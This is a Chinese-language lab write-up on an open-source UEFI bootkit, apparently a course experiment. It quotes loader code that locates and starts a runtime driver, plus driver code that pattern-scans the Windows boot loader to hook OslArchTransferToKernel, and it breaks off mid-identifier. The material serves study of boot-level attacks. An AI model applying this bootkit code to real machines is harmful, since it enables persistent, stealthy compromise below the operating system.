UEFIBootkit攻击恶意代码分析
一、 实验目的
对于UEFI的攻击,从感染方式和攻击层次上来讲,可以分为两种:一种是针对UEFI固件的攻击,一种是磁盘上引导文件的攻击。本次实验着重介绍第二种。调试和编译指定UEFIBootkit恶意程序,加深对Bootkit攻击技术的理解,掌握对操作系统引导文件感染的方法,实现引导完整性攻击,丰富UEFI固件攻击方式。
二、 实验环境
Windows10
Vs2015 P
三、 实验要求
(1)调试和编译开源UEFIBootkit代码,实现引导劫持攻击。
(2)阅读和分析UEFIBootkit代码,深入理解UEFIBootkit攻击技术原理。
四、 实验步骤
1.源码分析
项目结果组成:
下面对核心代码进行解释:
//
// Locate the runtime driver
//
efiStatus = LocateFile( gRuntimeDriverImagePath, &RuntimeDriverDevicePath );
if (EFI_ERROR( efiStatus ))
goto Exit;
//
// Load Runtime Driver into memory
//
efiStatus = ImageLoad( ImageHandle, RuntimeDriverDevicePath, &RuntimeDriverHandle );
if (EFI_ERROR( efiStatus ))
goto Exit;
//
// Transfer executon to the Runtime Driver
//
efiStatus = ImageStart( RuntimeDriverHandle );
if (EFI_ERROR( efiStatus ))
goto Exit;
其代码流程非常简单,通过LocateFile函数遍历所有分区,查找rtdriver.efi,找不到就直接退出,然后通过ImageLoad函数将驱动加载至内存(不运行),最后调用函数ImageStart运行bootkit驱动,代码完成,程序退出。
其次是rtdriver的主要代码:
NtHdr = ImageNtHeader( ImageBase );
if (NtHdr != NULL)
{
EFI_STATUS EfiStatus = EFI_SUCCESS;
UINT8* Found = NULL;
// Find right location to patch
EfiStatus = UtilFindPattern( sigOslArchTransferToKernelCall, 0xCC, sizeof( sigOslArchTransferToKernelCall ), ImageBase, ImageSize, (VOID**)&Found );
if (EfiStatus == EFI_SUCCESS)
{
Print( L"Found OslArchTransferToKernel call at %lx\r\n", Found );
// Get original from call instruction
oOslArchTransferToKernel = (tOslArchTransferToKernel)UtilCallAddress( Found );
Print( L"OslArchTransferToKernel at %lx\r\n", oOslArchTransferToKernel );
Print( L"OslArchTransferToKernelHook at %lx\r\n", &hkOslArchTransferToKernel );
// Backup original function bytes before patching
OslArchTransferToKernelCa